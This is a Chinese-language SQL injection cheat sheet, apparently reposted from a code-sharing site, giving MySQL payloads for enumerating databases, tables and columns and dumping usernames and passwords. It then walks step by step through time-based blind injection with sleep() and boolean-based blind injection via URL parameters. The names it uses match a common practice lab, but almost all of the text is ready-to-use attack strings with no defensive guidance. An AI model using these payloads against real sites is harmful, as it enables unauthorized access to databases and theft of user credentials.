mysql注入語句


一、sql注入語句

爆破所有數據庫:

(select group_concat(schema_name) from information_schema.schemata)

獲取數據庫所有表:

(select  group_concat(table_name) from information_schema.tables where table_schema='mysql')

獲取所有列名:

(select group_concat(column_name) from information_schema.columns where table_name='users')

獲取所有用戶密碼:

(select group_concat(password) from security.users)
(select group_concat(username) from security.users)

盲注

方法一:時間延遲型手工注入

1.爆庫長

?id=1' and if(length(database())=8,sleep(5),1)--+ 

明顯延遲,數據庫長度為8.

2.爆庫名

?id=1' and if(left(database(),1)='s' ,sleep(5),1) --+
?id=1' and if(left(database(),8)='security' ,sleep(5),1) --+

明顯延遲,數據庫第一個字符為s,加下來以此增加left(database(),字符長度)中的字符長度,等號右邊以此爆破下一個字符,正確匹配時會延遲。最終爆破得到left(database(),8)='security'

3.爆表名

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='u' ,sleep(5),1) --+
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,2),1)='us' ,sleep(5),1) --+
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,5),1)='users' ,sleep(5),1) --+

4.爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

5.爆用戶和密碼

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

注意:limit 按照id排序,limit 從0開始.

方法二,布爾型手工注入

在布爾型注入中,正確會回顯,錯誤沒有回顯

1.爆庫名

id=1' and length(database())=8--+
?id=' and left((select database()),1)='s' --+
?id=' and left((select database()),2)='se' --+

2.爆表名

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

3.爆列名

?id=1'and left((select column_name from information_schema.columns  where table_name='users'limit 2,1 ),8)='password' --+

4.爆用戶和密碼

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM